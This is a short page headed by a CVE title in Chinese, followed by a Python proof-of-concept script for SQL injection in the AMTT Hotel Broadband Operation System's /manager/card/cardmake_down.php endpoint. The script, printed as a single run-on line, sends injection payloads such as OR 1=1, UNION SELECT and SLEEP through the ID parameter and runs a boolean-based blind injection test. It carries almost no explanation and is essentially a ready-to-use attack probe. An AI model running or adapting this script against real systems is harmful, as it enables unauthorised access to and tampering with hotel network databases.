CVE-2025-14090 AMTT酒店宽带系统cardmake_down.php SQL注入漏洞

# CVE-2025-14090 SQL Injection PoC # Target: AMTT Hotel Broadband Operation System 1.0 # Endpoint: /manager/card/cardmake_down.php # Attack Type: SQL Injection via ID parameter import requests import sys target = "http://target.com" endpoint = "/manager/card/cardmake_down.php" # Basic SQL Injection test payloads payloads = [ "1' OR '1'='1", "1' UNION SELECT NULL--", "1' AND SLEEP(5)--", "1' ORDER BY 1--", ] def test_sql_injection(target_url, param_name="ID"): print(f"[*] Testing SQL Injection on {target_url}") for payload in payloads: params = {param_name: payload} try: response = requests.get(target_url, params=params, timeout=10) print(f"[+] Payload: {payload}") print(f" Status: {response.status_code}") print(f" Length: {len(response.content)}") except requests.exceptions.RequestException as e: print(f"[-] Error with payload {payload}: {e}") # Boolean-based blind SQL injection detection def blind_sqli_test(target_url): true_payload = "1' AND 1=1--" false_payload = "1' AND 1=2--" try: r1 = requests.get(target_url, params={"ID": true_payload}, timeout=10) r2 = requests.get(target_url, params={"ID": false_payload}, timeout=10) if len(r1.content) != len(r2.content): print("[!] Blind SQL Injection confirmed!") except: pass if __name__ == "__main__": target_url = f"{target}{endpoint}" test_sql_injection(target_url) blind_sqli_test(target_url)